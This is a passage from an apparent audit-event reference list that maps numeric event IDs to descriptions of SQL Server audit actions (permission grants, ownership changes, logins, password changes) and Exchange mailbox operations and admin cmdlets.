a change server object owner command (action_id TO class_type SG),SQL Server 24147,Issued a change database owner command (action_id TO class_type DB),SQL Server 24148,Issued a change schema owner command (action_id TO class_type SC),SQL Server 24150,Issued a change role owner command (action_id TO class_type RL),SQL Server 24151,Issued a change database object owner command (action_id TO),SQL Server 24152,Issued a change symmetric key owner command (action_id TO class_type SK),SQL Server 24153,Issued a change certificate owner command (action_id TO class_type CR),SQL Server 24154,Issued a change asymmetric key owner command (action_id TO class_type AK),SQL Server 24155,Issued a change schema object owner command (action_id TO class_type OB),SQL Server 24156,Issued a change schema type owner command (action_id TO class_type TY),SQL Server 24157,Issued a change XML schema collection owner command (action_id TO class_type SX),SQL Server 24158,Grant server permissions succeeded (action_id G class_type SR),SQL Server 24159,Grant server permissions failed (action_id G class_type SR),SQL Server 24160,Grant server permissions with grant succeeded (action_id GWG class_type SR),SQL Server 24161,Grant server permissions with grant failed (action_id GWG class_type SR),SQL Server 24162,Deny server permissions succeeded (action_id D class_type SR),SQL Server 24163,Deny server permissions failed (action_id D class_type SR),SQL Server 24164,Deny server permissions with cascade succeeded (action_id DWC class_type SR),SQL Server 24165,Deny server permissions with cascade failed (action_id DWC class_type SR),SQL Server 24166,Revoke server permissions succeeded (action_id R class_type SR),SQL Server 24167,Revoke server permissions failed (action_id R class_type SR),SQL Server 24168,Revoke server permissions with grant succeeded (action_id RWG class_type SR),SQL Server 24169,Revoke server permissions with grant failed (action_id RWG class_type SR),SQL Server 24170,Revoke server permissions with cascade succeeded (action_id RWC class_type SR),SQL Server 24171,Revoke server permissions with cascade failed (action_id RWC class_type SR),SQL Server 24172,Issued grant server object permissions command (action_id G; class_type LX),SQL Server 24173,Issued grant server object permissions with grant command (action_id GWG; class_type LX),SQL Server 24174,Issued deny server object permissions command (action_id D; class_type LX),SQL Server 24175,Issued deny server object permissions with cascade command (action_id DWC; class_type LX),SQL Server 24176,Issued revoke server object permissions command (action_id R; class_type LX),SQL Server 24177,Issued revoke server object permissions with grant command (action_id; RWG class_type LX),SQL Server 24178,Issued revoke server object permissions with cascade command (action_id RWC; class_type LX),SQL Server 24179,Grant database permissions succeeded (action_id G class_type DB),SQL Server 24180,Grant database permissions failed (action_id G class_type DB),SQL Server 24181,Grant database permissions with grant succeeded (action_id GWG class_type DB),SQL Server 24182,Grant database permissions with grant failed (action_id GWG class_type DB),SQL Server 24183,Deny database permissions succeeded (action_id D class_type DB),SQL Server 24184,Deny database permissions failed (action_id D class_type DB),SQL Server 24185,Deny database permissions with cascade succeeded (action_id DWC class_type DB),SQL Server 24186,Deny database permissions with cascade failed (action_id DWC class_type DB),SQL Server 24187,Revoke database permissions succeeded (action_id R class_type DB),SQL Server 24188,Revoke database permissions failed (action_id R class_type DB),SQL Server 24189,Revoke database permissions with grant succeeded (action_id RWG class_type DB),SQL Server 24190,Revoke database permissions with grant failed (action_id RWG class_type DB),SQL Server 24191,Revoke database permissions with cascade succeeded (action_id RWC class_type DB),SQL Server 24192,Revoke database permissions with cascade failed (action_id RWC class_type DB),SQL Server 24193,Issued grant database object permissions command (action_id G class_type US),SQL Server 24194,Issued grant database object permissions with grant command (action_id GWG; class_type US),SQL Server 24195,Issued deny database object permissions command (action_id D; class_type US),SQL Server 24196,Issued deny database object permissions with cascade command (action_id DWC; class_type US),SQL Server 24197,Issued revoke database object permissions command (action_id R; class_type US),SQL Server 24198,Issued revoke database object permissions with grant command (action_id RWG; class_type US),SQL Server 24199,Issued revoke database object permissions with cascade command (action_id RWC; class_type US),SQL Server 24200,Issued grant schema permissions command (action_id G class_type SC),SQL Server 24201,Issued grant schema permissions with grant command (action_id GWG class_type SC),SQL Server 24202,Issued deny schema permissions command (action_id D class_type SC),SQL Server 24203,Issued deny schema permissions with cascade command (action_id DWC class_type SC),SQL Server 24204,Issued revoke schema permissions command (action_id R class_type SC),SQL Server 24205,Issued revoke schema permissions with grant command (action_id RWG class_type SC),SQL Server 24206,Issued revoke schema permissions with cascade command (action_id RWC class_type SC),SQL Server 24207,Issued grant assembly permissions command (action_id G class_type AS),SQL Server 24208,Issued grant assembly permissions with grant command (action_id GWG class_type AS),SQL Server 24209,Issued deny assembly permissions command (action_id D class_type AS),SQL Server 24210,Issued deny assembly permissions with cascade command (action_id DWC class_type AS),SQL Server 24211,Issued revoke assembly permissions command (action_id R class_type AS),SQL Server 24212,Issued revoke assembly permissions with grant command (action_id RWG class_type AS),SQL Server 24213,Issued revoke assembly permissions with cascade command (action_id RWC class_type AS),SQL Server 24214,Issued grant database role permissions command (action_id G class_type RL),SQL Server 24215,Issued grant database role permissions with grant command (action_id GWG class_type RL),SQL Server 24216,Issued deny database role permissions command (action_id D class_type RL),SQL Server 24217,Issued deny database role permissions with cascade command (action_id DWC class_type RL),SQL Server 24218,Issued revoke database role permissions command (action_id R class_type RL),SQL Server 24219,Issued revoke database role permissions with grant command (action_id RWG class_type RL),SQL Server 24220,Issued revoke database role permissions with cascade command (action_id RWC class_type RL),SQL Server 24221,Issued grant application role permissions command (action_id G class_type AR),SQL Server 24222,Issued grant application role permissions with grant command (action_id GWG class_type AR),SQL Server 24223,Issued deny application role permissions command (action_id D class_type AR),SQL Server 24224,Issued deny application role permissions with cascade command (action_id DWC class_type AR),SQL Server 24225,Issued revoke application role permissions command (action_id R class_type AR),SQL Server 24226,Issued revoke application role permissions with grant command (action_id RWG class_type AR),SQL Server 24227,Issued revoke application role permissions with cascade command (action_id RWC class_type AR),SQL Server 24228,Issued grant symmetric key permissions command (action_id G class_type SK),SQL Server 24229,Issued grant symmetric key permissions with grant command (action_id GWG class_type SK),SQL Server 24230,Issued deny symmetric key permissions command (action_id D class_type SK),SQL Server 24231,Issued deny symmetric key permissions with cascade command (action_id DWC class_type SK),SQL Server 24232,Issued revoke symmetric key permissions command (action_id R class_type SK),SQL Server 24233,Issued revoke symmetric key permissions with grant command (action_id RWG class_type SK),SQL Server 24234,Issued revoke symmetric key permissions with cascade command (action_id RWC class_type SK),SQL Server 24235,Issued grant certificate permissions command (action_id G class_type CR),SQL Server 24236,Issued grant certificate permissions with grant command (action_id GWG class_type CR),SQL Server 24237,Issued deny certificate permissions command (action_id D class_type CR),SQL Server 24238,Issued deny certificate permissions with cascade command (action_id DWC class_type CR),SQL Server 24239,Issued revoke certificate permissions command (action_id R class_type CR),SQL Server 24240,Issued revoke certificate permissions with grant command (action_id RWG class_type CR),SQL Server 24241,Issued revoke certificate permissions with cascade command (action_id RWC class_type CR),SQL Server 24242,Issued grant asymmetric key permissions command (action_id G class_type AK),SQL Server 24243,Issued grant asymmetric key permissions with grant command (action_id GWG class_type AK),SQL Server 24244,Issued deny asymmetric key permissions command (action_id D class_type AK),SQL Server 24245,Issued deny asymmetric key permissions with cascade command (action_id DWC class_type AK),SQL Server 24246,Issued revoke asymmetric key permissions command (action_id R class_type AK),SQL Server 24247,Issued revoke asymmetric key permissions with grant command (action_id RWG class_type AK),SQL Server 24248,Issued revoke asymmetric key permissions with cascade command (action_id RWC class_type AK),SQL Server 24249,Issued grant schema object permissions command (action_id G class_type OB),SQL Server 24250,Issued grant schema object permissions with grant command (action_id GWG class_type OB),SQL Server 24251,Issued deny schema object permissions command (action_id D class_type OB),SQL Server 24252,Issued deny schema object permissions with cascade command (action_id DWC class_type OB),SQL Server 24253,Issued revoke schema object permissions command (action_id R class_type OB),SQL Server 24254,Issued revoke schema object permissions with grant command (action_id RWG class_type OB),SQL Server 24255,Issued revoke schema object permissions with cascade command (action_id RWC class_type OB),SQL Server 24256,Issued grant schema type permissions command (action_id G class_type TY),SQL Server 24257,Issued grant schema type permissions with grant command (action_id GWG class_type TY),SQL Server 24258,Issued deny schema type permissions command (action_id D class_type TY),SQL Server 24259,Issued deny schema type permissions with cascade command (action_id DWC class_type TY),SQL Server 24260,Issued revoke schema type permissions command (action_id R class_type TY),SQL Server 24261,Issued revoke schema type permissions with grant command (action_id RWG class_type TY),SQL Server 24262,Issued revoke schema type permissions with cascade command (action_id RWC class_type TY),SQL Server 24263,Issued grant XML schema collection permissions command (action_id G class_type SX),SQL Server 24264,Issued grant XML schema collection permissions with grant command (action_id GWG class_type SX),SQL Server 24265,Issued deny XML schema collection permissions command (action_id D class_type SX),SQL Server 24266,Issued deny XML schema collection permissions with cascade command (action_id DWC class_type SX),SQL Server 24267,Issued revoke XML schema collection permissions command (action_id R class_type SX),SQL Server 24268,Issued revoke XML schema collection permissions with grant command (action_id RWG class_type SX),SQL Server 24269,Issued revoke XML schema collection permissions with cascade command (action_id RWC class_type SX),SQL Server 24270,Issued reference database object permissions command (action_id RF),SQL Server 24271,Issued send service request command (action_id SN),SQL Server 24272,Issued check permissions with schema command (action_id VWCT),SQL Server 24273,Issued use service broker transport security command (action_id LGB),SQL Server 24274,Issued use database mirroring transport security command (action_id LGM),SQL Server 24275,Issued alter trace command (action_id ALTR),SQL Server 24276,Issued start trace command (action_id TASA),SQL Server 24277,Issued stop trace command (action_id TASP),SQL Server 24278,Issued enable trace C2 audit mode command (action_id C2ON),SQL Server 24279,Issued disable trace C2 audit mode command (action_id C2OF),SQL Server 24280,Issued server full-text command (action_id FT),SQL Server 24281,Issued select command (action_id SL),SQL Server 24282,Issued update command (action_id UP),SQL Server 24283,Issued insert command (action_id IN),SQL Server 24284,Issued delete command (action_id DL),SQL Server 24285,Issued execute command (action_id EX),SQL Server 24286,Issued receive command (action_id RC),SQL Server 24287,Issued check references command (action_id RF),SQL Server 24288,Issued a create user-defined server role command (action_id CR class_type SG),SQL Server 24289,Issued a change user-defined server role command (action_id AL class_type SG),SQL Server 24290,Issued a delete user-defined server role command (action_id DR class_type SG),SQL Server 24291,Issued grant user-defined server role permissions command (action_id G class_type SG),SQL Server 24292,Issued grant user-defined server role permissions with grant command (action_id GWG class_type SG),SQL Server 24293,Issued deny user-defined server role permissions command (action_id D class_type SG),SQL Server 24294,Issued deny user-defined server role permissions with cascade command (action_id DWC class_type SG),SQL Server 24295,Issued revoke user-defined server role permissions command (action_id R class_type SG),SQL Server 24296,Issued revoke user-defined server role permissions with grant command (action_id RWG class_type SG),SQL Server 24297,Issued revoke user-defined server role permissions with cascade command (action_id RWC class_type SG),SQL Server 24298,Database login succeeded (action_id DBAS),SQL Server 24299,Database login failed (action_id DBAF),SQL Server 24300,Database logout successful (action_id DAGL),SQL Server 24301,Change password succeeded (action_id PWC; class_type US),SQL Server 24302,Change password failed (action_id PWC; class_type US),SQL Server 24303,Change own password succeeded (action_id PWCS; class_type US),SQL Server 24304,Change own password failed (action_id PWCS; class_type US),SQL Server 24305,Reset own password succeeded (action_id PWRS; class_type US),SQL Server 24306,Reset own password failed (action_id PWRS; class_type US),SQL Server 24307,Reset password succeeded (action_id PWR; class_type US),SQL Server 24308,Reset password failed (action_id PWR; class_type US),SQL Server 24309,Copy password (action_id USTC),SQL Server 24310,User-defined SQL audit event (action_id UDAU),SQL Server 24311,Issued a change database audit command (action_id AL class_type DU),SQL Server 24312,Issued a create database audit command (action_id CR class_type DU),SQL Server 24313,Issued a delete database audit command (action_id DR class_type DU),SQL Server 24314,Issued a begin transaction command (action_id TXBG),SQL Server 24315,Issued a commit transaction command (action_id TXCM),SQL Server 24316,Issued a rollback transaction command (action_id TXRB),SQL Server 24317,Issued a create column master key command (action_id CR; class_type CM),SQL Server 24318,Issued a delete column master key command (action_id DR; class_type CM),SQL Server 24319,A column master key was viewed (action_id VW; class_type CM),SQL Server 24320,Issued a create column encryption key command (action_id CR; class_type CK),SQL Server 24321,Issued a change column encryption key command (action_id AL; class_type CK),SQL Server 24322,Issued a delete column encryption key command (action_id DR; class_type CK),SQL Server 24323,A column encryption key was viewed (action_id VW; class_type CK),SQL Server 24324,Issued a create database credential command (action_id CR; class_type DC),SQL Server 24325,Issued a change database credential command (action_id AL; class_type DC),SQL Server 24326,Issued a delete database credential command (action_id DR; class_type DC),SQL Server 24327,Issued a change database scoped configuration command (action_id AL; class_type DS),SQL Server 24328,Issued a create external data source command (action_id CR; class_type ED),SQL Server 24329,Issued a change external data source command (action_id AL; class_type ED),SQL Server 24330,Issued a delete external data source command (action_id DR; class_type ED),SQL Server 24331,Issued a create external file format command (action_id CR; class_type EF),SQL Server 24332,Issued a delete external file format command (action_id DR; class_type EF),SQL Server 24333,Issued a create external resource pool command (action_id CR; class_type ER),SQL Server 24334,Issued a change external resource pool command (action_id AL; class_type ER),SQL Server 24335,Issued a delete external resource pool command (action_id DR; class_type ER),SQL Server 24337,Global transaction login (action_id LGG),SQL Server 24338,Grant permissions on a database scoped credential succeeded (action_id G; class_type DC),SQL Server 24339,Grant permissions on a database scoped credential failed (action_id G; class_type DC),SQL Server 24340,Grant permissions on a database scoped credential with grant succeeded (action_id GWG; class_type DC),SQL Server 24341,Grant permissions on a database scoped credential with grant failed (action_id GWG; class_type DC),SQL Server 24342,Deny permissions on a database scoped credential succeeded (action_id D; class_type DC),SQL Server 24343,Deny permissions on a database scoped credential failed (action_id D; class_type DC),SQL Server 24344,Deny permissions on a database scoped credential with cascade succeeded (action_id DWC; class_type DC),SQL Server 24345,Deny permissions on a database scoped credential with cascade failed (action_id DWC; class_type DC),SQL Server 24346,Revoke permissions on a database scoped credential succeeded (action_id R; class_type DC),SQL Server 24347,Revoke permissions on a database scoped credential failed (action_id R; class_type DC),SQL Server 24348,Revoke permissions with cascade on a database scoped credential succeeded (action_id RWC; class_type DC),SQL Server 24349,Issued a change assembly owner command (action_id TO class_type AS),SQL Server 24350,Revoke permissions with cascade on a database scoped credential failed (action_id RWC; class_type DC),SQL Server 24351,Revoke permissions with grant on a database scoped credential succeeded (action_id RWG; class_type DC),SQL Server 24352,Revoke permissions with grant on a database scoped credential failed (action_id RWG; class_type DC),SQL Server 24353,Issued a change database scoped credential owner command (action_id TO; class_type DC),SQL Server 24354,Issued a create external library command (action_id CR; class_type EL),SQL Server 24355,Issued a change external library command (action_id AL; class_type EL),SQL Server 24356,Issued a drop external library command (action_id DR; class_type EL),SQL Server 24357,Grant permissions on an external library succeeded (action_id G; class_type EL),SQL Server 24358,Grant permissions on an external library failed (action_id G; class_type EL),SQL Server 24359,Grant permissions on an external library with grant succeeded (action_id GWG; class_type EL),SQL Server 24360,Grant permissions on an external library with grant failed (action_id GWG; class_type EL),SQL Server 24361,Deny permissions on an external library succeeded (action_id D; class_type EL),SQL Server 24362,Deny permissions on an external library failed (action_id D; class_type EL),SQL Server 24363,Deny permissions on an external library with cascade succeeded (action_id DWC; class_type EL),SQL Server 24364,Deny permissions on an external library with cascade failed (action_id DWC; class_type EL),SQL Server 24365,Revoke permissions on an external library succeeded (action_id R; class_type EL),SQL Server 24366,Revoke permissions on an external library failed (action_id R; class_type EL),SQL Server 24367,Revoke permissions with cascade on an external library succeeded (action_id RWC; class_type EL),SQL Server 24368,Revoke permissions with cascade on an external library failed (action_id RWC; class_type EL),SQL Server 24369,Revoke permissions with grant on an external library succeeded (action_id RWG; class_type EL),SQL Server 24370,Revoke permissions with grant on an external library failed (action_id RWG; class_type EL),SQL Server 24371,Issued a create database scoped resource governor command (action_id CR; class_type DR),SQL Server 24372,Issued a change database scoped resource governor command (action_id AL; class_type DR),SQL Server 24373,Issued a drop database scoped resource governor command (action_id DR; class_type DR),SQL Server 24374,Issued a database bulk administration command (action_id DABO; class_type DB),SQL Server 24375,"Command to change permission failed (action_id D, DWC, G, GWG, R, RWC, RWG; class_type DC, EL)",SQL Server 25000,Undocumented Exchange mailbox operation,Exchange 25001,Operation Copy - Copy item to another Exchange mailbox folder,Exchange 25002,Operation Create - Create item in Exchange mailbox,Exchange 25003,Operation FolderBind - Access Exchange mailbox folder,Exchange 25004,Operation HardDelete - Delete Exchange mailbox item permanently from Recoverable Items folder,Exchange 25005,Operation MessageBind - Access Exchange mailbox item,Exchange 25006,Operation Move - Move item to another Exchange mailbox folder,Exchange 25007,Operation MoveToDeletedItems - Move Exchange mailbox item to Deleted Items folder,Exchange 25008,Operation SendAs - Send message using Send As Exchange mailbox permissions,Exchange 25009,Operation SendOnBehalf - Send message using Send on Behalf Exchange mailbox permissions,Exchange 25010,Operation SoftDelete - Delete Exchange mailbox item from Deleted Items folder,Exchange 25011,Operation Update - Update Exchange mailbox item's properties,Exchange 25100,Information Event - Mailbox audit policy applied,Exchange 25100,Undocumented Exchange admin operation,Exchange 25101,Add-ADPermission Exchange cmdlet issued,Exchange 25102,Add-AvailabilityAddressSpace Exchange cmdlet issued,Exchange 25103,Add-ContentFilterPhrase Exchange cmdlet issued,Exchange 25104,Add-DatabaseAvailabilityGroupServer Exchange cmdlet issued,Exchange 25105,Add-DistributionGroupMember Exchange cmdlet issued,Exchange 25106,Add-FederatedDomain Exchange cmdlet issued,Exchange 25107,Add-IPAllowListEntry Exchange cmdlet issued,Exchange 25108,Add-IPAllowListProvider Exchange cmdlet issued,Exchange 25109,Add-IPBlockListEntry Exchange cmdlet issued,Exchange 25110,Add-IPBlockListProvider Exchange cmdlet issued,Exchange 25111,Add-MailboxDatabaseCopy Exchange cmdlet issued,Exchange 25112,Add-MailboxFolderPermission Exchange cmdlet issued,Exchange 25113,Add-MailboxPermission Exchange cmdlet issued,Exchange 25114,Add-ManagementRoleEntry Exchange cmdlet issued,Exchange 25115,Add-PublicFolderAdministrativePermission Exchange cmdlet issued,Exchange 25116,Add-PublicFolderClientPermission Exchange cmdlet issued,Exchange 25117,Add-RoleGroupMember Exchange cmdlet issued,Exchange 25118,Clean-MailboxDatabase Exchange cmdlet issued,Exchange 25119,Clear-ActiveSyncDevice Exchange cmdlet issued,Exchange 25120,Clear-TextMessagingAccount Exchange cmdlet issued,Exchange 25121,Compare-TextMessagingVerificationCode Exchange cmdlet issued,Exchange 25122,Connect-Mailbox Exchange cmdlet issued,Exchange 25123,Disable-AddressListPaging Exchange cmdlet issued,Exchange 25124,Disable-CmdletExtensionAgent Exchange cmdlet issued,Exchange 25125,Disable-DistributionGroup Exchange cmdlet issued,Exchange 25126,Disable-InboxRule Exchange cmdlet issued,Exchange 25127,Disable-JournalRule Exchange cmdlet issued,Exchange 25128,Disable-Mailbox Exchange cmdlet issued,Exchange 25129,Disable-MailContact Exchange cmdlet issued,Exchange 25130,Disable-MailPublicFolder Exchange cmdlet issued,Exchange 25131,Disable-MailUser Exchange cmdlet issued,Exchange 25132,Disable-OutlookAnywhere Exchange cmdlet issued,Exchange 25133,Disable-OutlookProtectionRule Exchange cmdlet issued,Exchange 25134,Disable-RemoteMailbox Exchange cmdlet issued,Exchange 25135,Disable-ServiceEmailChannel Exchange cmdlet issued,Exchange 25136,Disable-TransportAgent Exchange cmdlet issued,Exchange 25137,Disable-TransportRule Exchange cmdlet issued,Exchange 25138,Disable-UMAutoAttendant Exchange cmdlet issued,Exchange 25139,Disable-UMIPGateway Exchange cmdlet issued,Exchange 25140,Disable-UMMailbox Exchange cmdlet issued,Exchange 25141,Disable-UMServer Exchange cmdlet issued,Exchange 25142,Dismount-Database Exchange cmdlet issued,Exchange 25143,Enable-AddressListPaging Exchange cmdlet issued,Exchange 25144,Enable-AntispamUpdates Exchange cmdlet issued,Exchange 25145,Enable-CmdletExtensionAgent Exchange cmdlet issued,Exchange 25146,Enable-DistributionGroup Exchange cmdlet issued,Exchange 25147,Enable-ExchangeCertificate Exchange cmdlet issued,Exchange 25148,Enable-InboxRule Exchange cmdlet issued,Exchange 25149,Enable-JournalRule Exchange cmdlet issued,Exchange 25150,Enable-Mailbox Exchange cmdlet issued,Exchange 25151,Enable-MailContact Exchange cmdlet issued,Exchange 25152,Enable-MailPublicFolder Exchange cmdlet issued,Exchange 25153,Enable-MailUser Exchange cmdlet issued,Exchange 25154,Enable-OutlookAnywhere Exchange cmdlet issued,Exchange 25155,Enable-OutlookProtectionRule Exchange cmdlet issued,Exchange 25156,Enable-RemoteMailbox Exchange cmdlet issued,Exchange 25157,Enable-ServiceEmailChannel Exchange cmdlet issued,Exchange 25158,Enable-TransportAgent Exchange cmdlet issued,Exchange 25159,Enable-TransportRule Exchange cmdlet issued,Exchange 25160,Enable-UMAutoAttendant Exchange cmdlet issued,Exchange 25161,Enable-UMIPGateway Exchange cmdlet issued,Exchange 25162,Enable-UMMailbox Exchange cmdlet issued,Exchange 25163,Enable-UMServer Exchange cmdlet issued,Exchange 25164,Export-ActiveSyncLog Exchange cmdlet issued,Exchange 25165,Export-AutoDiscoverConfig Exchange cmdlet issued,Exchange 25166,Export-ExchangeCertificate Exchange cmdlet issued,Exchange 25167,Export-JournalRuleCollection Exchange cmdlet issued,Exchange 25168,Export-MailboxDiagnosticLogs Exchange cmdlet issued,Exchange 25169,Export-Message Exchange cmdlet issued,Exchange 25170,Export-RecipientDataProperty Exchange cmdlet issued,Exchange 25171,Export-TransportRuleCollection Exchange cmdlet issued,Exchange 25172,Export-UMCallDataRecord Exchange cmdlet issued,Exchange 25173,Export-UMPrompt Exchange cmdlet issued,Exchange 25174,Import-ExchangeCertificate Exchange cmdlet issued,Exchange 25175,Import-JournalRuleCollection Exchange cmdlet issued,Exchange 25176,Import-RecipientDataProperty Exchange cmdlet issued,Exchange 25177,Import-TransportRuleCollection Exchange cmdlet issued,Exchange 25178,Import-UMPrompt Exchange cmdlet issued,Exchange 25179,Install-TransportAgent Exchange cmdlet issued,Exchange 25180,Mount-Database Exchange cmdlet issued,Exchange 25181,Move-ActiveMailboxDatabase Exchange cmdlet issued,Exchange 25182,Move-AddressList Exchange cmdlet issued,Exchange 25183,Move-DatabasePath Exchange cmdlet issued,Exchange 25184,Move-OfflineAddressBook Exchange cmdlet issued,Exchange 25185,New-AcceptedDomain Exchange cmdlet issued,Exchange 25186,New-ActiveSyncDeviceAccessRule Exchange cmdlet issued,Exchange 25187,New-ActiveSyncMailboxPolicy Exchange cmdlet issued,Exchange 25188,New-ActiveSyncVirtualDirectory Exchange cmdlet issued,Exchange 25189,New-AddressList Exchange cmdlet issued,Exchange 25190,New-AdminAuditLogSearch Exchange cmdlet issued,Exchange 25191,New-AutodiscoverVirtualDirectory Exchange cmdlet issued,Exchange 25192,New-AvailabilityReportOutage Exchange cmdlet issued,Exchange 25193,New-ClientAccessArray Exchange cmdlet issued,Exchange 25194,New-DatabaseAvailabilityGroup Exchange cmdlet issued,Exchange 25195,New-DatabaseAvailabilityGroupNetwork Exchange cmdlet issued,Exchange 25196,New-DeliveryAgentConnector Exchange cmdlet issued,Exchange 25197,New-DistributionGroup Exchange cmdlet issued,Exchange 25198,New-DynamicDistributionGroup Exchange cmdlet issued,Exchange 25199,New-EcpVirtualDirectory Exchange cmdlet issued,Exchange 25200,New-EdgeSubscription Exchange cmdlet issued,Exchange 25201,New-EdgeSyncServiceConfig Exchange cmdlet issued,Exchange 25202,New-EmailAddressPolicy Exchange cmdlet issued,Exchange 25203,New-ExchangeCertificate Exchange cmdlet issued,Exchange 25204,New-FederationTrust Exchange cmdlet issued,Exchange 25205,New-ForeignConnector Exchange cmdlet issued,Exchange 25206,New-GlobalAddressList Exchange cmdlet issued,Exchange 25207,New-InboxRule Exchange cmdlet issued,Exchange 25208,New-JournalRule Exchange cmdlet issued,Exchange 25209,New-Mailbox Exchange cmdlet issued,Exchange 25210,New-MailboxAuditLogSearch Exchange cmdlet issued,Exchange 25211,New-MailboxDatabase Exchange cmdlet issued,Exchange 25212,New-MailboxFolder Exchange cmdlet issued,Exchange 25213,New-MailboxRepairRequest Exchange cmdlet issued,Exchange 25214,New-MailboxRestoreRequest Exchange cmdlet issued,Exchange 25215,New-MailContact Exchange cmdlet issued,Exchange 25216,New-MailMessage Exchange cmdlet issued,Exchange 25217,New-MailUser Exchange cmdlet issued,Exchange 25218,New-ManagedContentSettings Exchange cmdlet issued,Exchange 25219,New-ManagedFolder Exchange cmdlet issued,Exchange 25220,New-ManagedFolderMailboxPolicy Exchange cmdlet issued,Exchange 25221,New-ManagementRole Exchange cmdlet issued,Exchange 25222,New-ManagementRoleAssignment Exchange cmdlet issued,Exchange 25223,New-ManagementScope Exchange cmdlet issued,Exchange 25224,New-MessageClassification Exchange cmdlet issued,Exchange 25225,New-MoveRequest Exchange cmdlet issued,Exchange 25226,New-OabVirtualDirectory Exchange cmdlet issued,Exchange 25227,New-OfflineAddressBook Exchange cmdlet issued,Exchange 25228,New-OrganizationRelationship Exchange cmdlet issued,Exchange 25229,New-OutlookProtectionRule Exchange cmdlet issued,Exchange 25230,New-OutlookProvider Exchange cmdlet issued,Exchange 25231,New-OwaMailboxPolicy Exchange cmdlet issued,Exchange 25232,New-OwaVirtualDirectory Exchange cmdlet issued,Exchange 25233,New-PublicFolder Exchange cmdlet issued,Exchange 25234,New-PublicFolderDatabase Exchange cmdlet issued,Exchange 25235,New-PublicFolderDatabaseRepairRequest Exchange cmdlet issued,Exchange 25236,New-ReceiveConnector Exchange cmdlet issued,Exchange 25237,New-RemoteDomain Exchange cmdlet issued,Exchange 25238,New-RemoteMailbox Exchange cmdlet issued,Exchange 25239,New-RetentionPolicy Exchange cmdlet issued,Exchange 25240,New-RetentionPolicyTag Exchange cmdlet issued,Exchange 25241,New-RoleAssignmentPolicy Exchange cmdlet issued,Exchange 25242,New-RoleGroup Exchange cmdlet issued,Exchange 25243,New-RoutingGroupConnector Exchange cmdlet issued,Exchange 25244,New-RpcClientAccess Exchange cmdlet issued,Exchange 25245,New-SendConnector Exchange cmdlet issued,Exchange 25246,New-SharingPolicy Exchange cmdlet issued,Exchange 25247,New-SystemMessage Exchange cmdlet issued,Exchange 25248,New-ThrottlingPolicy Exchange cmdlet issued,Exchange 25249,New-TransportRule Exchange cmdlet issued,Exchange 25250,New-UMAutoAttendant Exchange cmdlet issued,Exchange 25251,New-UMDialPlan Exchange cmdlet issued,Exchange 25252,New-UMHuntGroup Exchange cmdlet issued,Exchange 25253,New-UMIPGateway Exchange cmdlet issued,Exchange 25254,New-UMMailboxPolicy Exchange cmdlet issued,Exchange 25255,New-WebServicesVirtualDirectory Exchange cmdlet issued,Exchange 25256,New-X400AuthoritativeDomain Exchange cmdlet issued,Exchange 25257,Remove-AcceptedDomain Exchange cmdlet issued,Exchange 25258,Remove-ActiveSyncDevice Exchange cmdlet issued,Exchange 25259,Remove-ActiveSyncDeviceAccessRule Exchange cmdlet issued,Exchange 25260,Remove-ActiveSyncDeviceClass Exchange cmdlet issued,Exchange 25261,Remove-ActiveSyncMailboxPolicy Exchange cmdlet issued,Exchange 25262,Remove-ActiveSyncVirtualDirectory Exchange cmdlet issued,Exchange 25263,Remove-AddressList Exchange cmdlet issued,Exchange 25264,Remove-ADPermission Exchange cmdlet issued,Exchange 25265,Remove-AutodiscoverVirtualDirectory Exchange cmdlet issued,Exchange 25266,Remove-AvailabilityAddressSpace Exchange cmdlet issued,Exchange 25267,Remove-AvailabilityReportOutage Exchange cmdlet issued,Exchange 25268,Remove-ClientAccessArray Exchange cmdlet issued,Exchange 25269,Remove-ContentFilterPhrase Exchange cmdlet issued,Exchange 25270,Remove-DatabaseAvailabilityGroup Exchange cmdlet issued,Exchange 25271,Remove-DatabaseAvailabilityGroupNetwork Exchange cmdlet issued,Exchange 25272,Remove-DatabaseAvailabilityGroupServer Exchange cmdlet issued,Exchange 25273,Remove-DeliveryAgentConnector Exchange cmdlet issued,Exchange 25274,Remove-DistributionGroup Exchange cmdlet issued,Exchange 25275,Remove-DistributionGroupMember Exchange cmdlet issued,Exchange 25276,Remove-DynamicDistributionGroup Exchange cmdlet issued,Exchange 25277,Remove-EcpVirtualDirectory Exchange cmdlet issued,Exchange 25278,Remove-EdgeSubscription Exchange cmdlet issued,Exchange 25279,Remove-EmailAddressPolicy Exchange cmdlet issued,Exchange 25280,Remove-ExchangeCertificate Exchange cmdlet issued,Exchange 25281,Remove-FederatedDomain Exchange cmdlet issued,Exchange 25282,Remove-FederationTrust Exchange cmdlet issued,Exchange 25283,Remove-ForeignConnector Exchange cmdlet issued,Exchange 25284,Remove-GlobalAddressList Exchange cmdlet issued,Exchange 25285,Remove-InboxRule Exchange cmdlet issued,Exchange 25286,Remove-IPAllowListEntry Exchange cmdlet issued,Exchange 25287,Remove-IPAllowListProvider Exchange cmdlet issued,Exchange 25288,Remove-IPBlockListEntry Exchange cmdlet issued,Exchange 25289,Remove-IPBlockListProvider Exchange cmdlet issued,Exchange 25290,Remove-JournalRule Exchange cmdlet issued,Exchange 25291,Remove-Mailbox Exchange cmdlet issued,Exchange 25292,Remove-MailboxDatabase Exchange cmdlet issued,Exchange 25293,Remove-MailboxDatabaseCopy Exchange cmdlet issued,Exchange 25294,Remove-MailboxFolderPermission Exchange cmdlet issued,Exchange 25295,Remove-MailboxPermission Exchange cmdlet issued,Exchange 25296,Remove-MailboxRestoreRequest Exchange cmdlet issued,Exchange 25297,Remove-MailContact Exchange cmdlet issued,Exchange 25298,Remove-MailUser Exchange cmdlet issued,Exchange 25299,Remove-ManagedContentSettings Exchange cmdlet issued,Exchange 25300,Remove-ManagedFolder Exchange cmdlet issued,Exchange 25301,Remove-ManagedFolderMailboxPolicy Exchange cmdlet issued,Exchange 25302,Remove-ManagementRole Exchange cmdlet issued,Exchange 25303,Remove-ManagementRoleAssignment Exchange cmdlet issued,Exchange 25304,Remove-ManagementRoleEntry Exchange cmdlet issued,Exchange 25305,Remove-ManagementScope Exchange cmdlet issued,Exchange 25306,Remove-Message Exchange cmdlet issued,Exchange 25307,Remove-MessageClassification Exchange cmdlet issued,Exchange 25308,Remove-MoveRequest Exchange cmdlet issued,Exchange 25309,Remove-OabVirtualDirectory Exchange cmdlet issued,Exchange 25310,Remove-OfflineAddressBook Exchange cmdlet issued,Exchange 25311,Remove-OrganizationRelationship Exchange cmdlet issued,Exchange 25312,Remove-OutlookProtectionRule Exchange cmdlet issued,Exchange 25313,Remove-OutlookProvider Exchange cmdlet issued,Exchange 25314,Remove-OwaMailboxPolicy Exchange cmdlet 